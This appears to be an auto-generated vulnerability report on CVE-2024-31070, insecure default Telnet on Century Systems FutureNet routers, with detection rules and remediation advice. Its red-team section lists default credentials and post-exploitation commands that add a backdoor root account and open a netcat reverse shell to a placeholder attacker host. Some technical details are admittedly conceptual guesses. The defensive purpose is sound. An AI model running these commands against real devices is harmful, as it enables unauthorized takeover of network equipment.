CVE-2024-31070
Executive Summary
CVE-2024-31070 discloses a critical security flaw in Century Systems Co., Ltd.'s FutureNet NXR, VXR, and WXR series routers. The vulnerability stems from an insecure default configuration where the Telnet service is initialized with default credentials or is left accessible without authentication. This allows a remote, unauthenticated attacker to gain full administrative access to the device via Telnet. Given the lack of a patch and the nature of the vulnerability, affected devices are at high risk of compromise, potentially leading to network infiltration, data exfiltration, or use as a pivot point for further attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Century Systems networking equipment.
CVSS Breakdown & Threat Level
While a CVSS score of 0.0 was reported, this is likely a placeholder or error. Based on the description, a realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Changed (C) – Compromise of the device can affect the broader network.
- Confidentiality (C): High (H) – Full access to device configuration and network traffic.
- Integrity (I): High (H) – Ability to modify device settings and firmware.
- Availability (A): High (H) – Can disable or brick the device.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication. The lack of a patch means all unpatched devices are vulnerable.
Deep Dive & Mechanics
The vulnerability is rooted in the device's initialization process. The Telnet service is started with an insecure default configuration, likely including:
- A default username/password (e.g., admin/admin, root/root).
- No authentication requirement at all.
- Binding to all network interfaces (0.0.0.0) on the standard Telnet port (23).
An attacker can simply scan for devices with Telnet port 23 open and attempt to connect. If the default credentials are unchanged or authentication is disabled, they gain immediate shell access with administrative privileges.
Attack Flow:
- Reconnaissance: Scan the internet or local network for IP addresses with port 23 open and banners indicating "FutureNet" or "Century Systems".
- Connection: Use a Telnet client to connect to the target IP on port 23.
- Authentication Bypass: If prompted, use default credentials (e.g., admin/admin). If no prompt, access is granted directly.
- Post-Exploitation: Once logged in, the attacker can:
- View and modify network configurations.
- Install malware or backdoors.
- Use the device as a proxy or botnet node.
- Disable logging or security features.
Vulnerable vs. Patched Code
Since no patch is available, there is no "patched" code to compare. The vulnerable code is the initialization script that starts the Telnet daemon with insecure defaults.
Vulnerable (Conceptual):
# /etc/init.d/telnetd
#!/bin/sh
# Start telnetd with no authentication
telnetd -l /bin/sh -b 0.0.0.0
Patched (Conceptual):
# /etc/init.d/telnetd
#!/bin/sh
# Start telnetd with authentication required
telnetd -l /bin/login -b 0.0.0.0
# Also ensure default credentials are changed on first boot
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: A Century Systems FutureNet NXR/VXR/WXR router with default firmware.
- Attacker: Kali Linux machine on the same network.
Exploitation Steps:
- Scan for Telnet:
nmap -p 23 --open -sV 192.168.1.0/24 - Connect via Telnet:
telnet 192.168.1.100 - Attempt Default Credentials:
- Username:
admin, Password:admin - Username:
root, Password:root - Username:
admin, Password:password
- Username:
- Post-Exploitation:
# View configuration cat /etc/config/network # Add a backdoor user echo "hacker:encrypted_password:0:0:root:/root:/bin/sh" >> /etc/passwd # Start a reverse shell nc -e /bin/sh attacker_ip 4444
No Exploit-DB code was provided.
Blue Team (Defensive)
Detection & Prevention:
- Network Monitoring: Monitor for Telnet connections (port 23) to/from internal network devices.
- Honeypot: Deploy a Telnet honeypot to detect scanning activity.
- Access Control: Block Telnet traffic at the firewall unless absolutely necessary.
- Configuration Audit: Regularly audit device configurations for default credentials and unnecessary services.
Incident Response:
- Isolate the affected device from the network.
- Change all credentials immediately.
- Disable Telnet and use SSH instead.
- Check for unauthorized user accounts or modifications.
- Reflash firmware if possible.
Indicators of Compromise (IOCs)
Network IOCs:
- Telnet connections (port 23) to/from Century Systems devices.
- Unusual outbound connections from the device (e.g., to known C2 IPs).
- Traffic on non-standard ports after initial Telnet session.
Host IOCs:
- Presence of unauthorized user accounts in
/etc/passwd. - Modified configuration files (e.g.,
/etc/config/network). - Running processes like
nc,bash, orpythonstarted from Telnet. - Log entries showing successful Telnet logins from unknown IPs.
- Presence of unauthorized user accounts in
File IOCs:
- Suspicious scripts in
/tmpor/var/tmp. - Modified
/etc/init.d/telnetdor similar startup scripts.
- Suspicious scripts in
Detection Engineering
YARA Rule
rule CVE_2024_31070_Telnet_Default_Config {
meta:
description = "Detects insecure default Telnet configuration in Century Systems firmware"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-31070"
strings:
$telnetd_start = "telnetd -l /bin/sh" ascii wide nocase
$telnetd_bind = "telnetd -b 0.0.0.0" ascii wide nocase
$default_creds = "admin:admin" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: Detection of Telnet Access to Century Systems Devices
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful Telnet logins to Century Systems routers, indicating potential exploitation of CVE-2024-31070.
author: Valters IT
date: 2024-10-27
logsource:
category: authentication
product: linux
detection:
selection:
EventID: 22 # Successful login (varies by system)
ServiceName: 'telnet'
TargetHostname|contains: 'FutureNet'
condition: selection
falsepositives:
- Legitimate administrative access
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2024-31070 - Telnet Access to Century Systems Device"; flow:to_server,established; content:"|ff fd 18 ff fd 1f ff fd 21 ff fd 23 ff fd 27|"; depth:12; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Telnet: If possible, disable the Telnet service on the device.
# Via device CLI no service telnet - Change Default Credentials: If Telnet must be used, change all default passwords immediately.
- Firewall Rules: Block inbound Telnet (port 23) from the internet. Only allow from trusted management IPs.
- Upgrade Firmware: Check Century Systems' website for any firmware updates. If none, consider replacing the device.
Long-Term Recommendations:
- Replace Devices: If the vendor does not release a patch, replace affected devices with alternatives that support SSH and have secure defaults.
- Network Segmentation: Place these devices in a separate VLAN with strict access controls.
- Vendor Communication: Contact Century Systems to demand a security patch.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.